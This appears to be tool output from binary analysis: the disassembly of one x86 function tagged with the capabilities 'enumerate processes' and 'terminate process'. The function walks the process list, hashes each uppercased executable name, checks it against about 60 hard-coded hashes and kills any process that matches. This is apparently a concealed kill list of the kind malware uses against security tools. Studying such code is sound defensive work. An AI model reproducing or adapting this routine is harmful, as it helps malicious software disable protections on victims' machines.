Function at 0x403a60
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x640
mov eax, dword [0x417114]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403e2e
lea eax, [ebp - 0x640]
mov dword [ebp - 0x640], 0x22c
push eax
push ebx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x403e2e
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
nop word [eax + eax]
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x20c]
push eax
call esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
lea eax, [ebp - 0x414]
push eax
call esi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
lea eax, [ebp - 0x414]
push eax
call fcn.00402ac0
add esp, 4
cmp eax, 0x76505296
ja 0x403c41
je 0x403dec
cmp eax, 0x41c3f023
ja 0x403bc6
je 0x403dec
cmp eax, 0x104c4106
ja 0x403b8f
je 0x403dec
cmp eax, 0xd0a9207
ja 0x403b7a
je 0x403dec
cmp eax, 0x4540e56
je 0x403dec
cmp eax, 0x6421b08
je 0x403dec
cmp eax, 0xa5622d9
jmp 0x403dea
cmp eax, 0xd5a6662
je 0x403dec
cmp eax, 0x10420388
jmp 0x403dea
cmp eax, 0x255a866d
ja 0x403bb1
je 0x403dec
cmp eax, 0x16723c4e
je 0x403dec
cmp eax, 0x1a746a21
jmp 0x403dea
cmp eax, 0x36deb6d0
je 0x403dec
cmp eax, 0x404c60cf
jmp 0x403dea
cmp eax, 0x644011f2
ja 0x403c0a
je 0x403dec
cmp eax, 0x587196e8
ja 0x403bf5
je 0x403dec
cmp eax, 0x454e22d9
je 0x403dec
cmp eax, 0x4776560a
jmp 0x403dea
cmp eax, 0x5e2ac3b4
je 0x403dec
cmp eax, 0x614841d3
jmp 0x403dea
cmp eax, 0x692fc436
ja 0x403c2c
je 0x403dec
cmp eax, 0x655a56d8
je 0x403dec
cmp eax, 0x68762ee9
jmp 0x403dea
cmp eax, 0x6c1026a4
je 0x403dec
cmp eax, 0x734822d8
jmp 0x403dea
cmp eax, 0xab785a11
ja 0x403d3f
je 0x403dec
cmp eax, 0x9153962a
ja 0x403ccf
je 0x403dec
cmp eax, 0x86787a49
ja 0x403ca3
je 0x403dec
cmp eax, 0x807e3ddb
ja 0x403c8e
je 0x403dec
cmp eax, 0x7e821b0a
je 0x403dec
cmp eax, 0x80606269
jmp 0x403dea
cmp eax, 0x8456ce90
je 0x403dec
cmp eax, 0x848ec026
jmp 0x403dea
cmp eax, 0x8b7e4735
ja 0x403cc5
je 0x403dec
cmp eax, 0x87526206
je 0x403dec
cmp eax, 0x8758afd4
jmp 0x403dea
cmp eax, 0x8d82eed8
jmp 0x403dea
cmp eax, 0x9c762a07
ja 0x403d13
je 0x403dec
cmp eax, 0x9a565229
ja 0x403cfe
je 0x403dec
cmp eax, 0x96631362
je 0x403dec
cmp eax, 0x97583bae
jmp 0x403dea
cmp eax, 0x9b5e5a93
je 0x403dec
cmp eax, 0x9b785ec5
jmp 0x403dea
cmp eax, 0xa24c3ef8
ja 0x403d35
je 0x403dec
cmp eax, 0x9e6542a9
je 0x403dec
cmp eax, 0xa1f9497d
jmp 0x403dea
cmp eax, 0xa3422209
jmp 0x403dea
cmp eax, 0xd54e5229
ja 0x403da0
je 0x403dec
cmp eax, 0xbc19495d
ja 0x403d82
je 0x403dec
cmp eax, 0xaed6267a
ja 0x403d74
je 0x403dec
cmp eax, 0xac7cad0f
je 0x403dec
cmp eax, 0xae1428c3
jmp 0x403dea
cmp eax, 0xb676201a
je 0x403dec
cmp eax, 0xb77831e3
jmp 0x403dea
cmp eax, 0xd20d9aa1
ja 0x403d99
je 0x403dec
cmp eax, 0xc55a0e69
je 0x403dec
cmp eax, 0xca795942
jmp 0x403dea
cmp eax, 0xd3857bb5
jmp 0x403dea
cmp eax, 0xf767b2c3
ja 0x403dce
je 0x403dec
cmp eax, 0xea7f8f58
ja 0x403dc0
je 0x403dec
cmp eax, 0xe07c6701
je 0x403dec
cmp eax, 0xe6527afe
jmp 0x403dea
cmp eax, 0xf2780d43
je 0x403dec
cmp eax, 0xf65fce38
jmp 0x403dea
cmp eax, 0xfd6fb7f1
ja 0x403de5
je 0x403dec
cmp eax, 0xfbf3c261
je 0x403dec
cmp eax, 0xfd2a6dfd
jmp 0x403dea
cmp eax, 0xff4e5220
jne 0x403e18
push dword [ebp - 0x638]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x403e0e
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
jmp 0x403e10
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x640]
push eax
push ebx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x403ac0
pop esi
push ebx
call edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00404ab6
mov esp, ebp
pop ebp
ret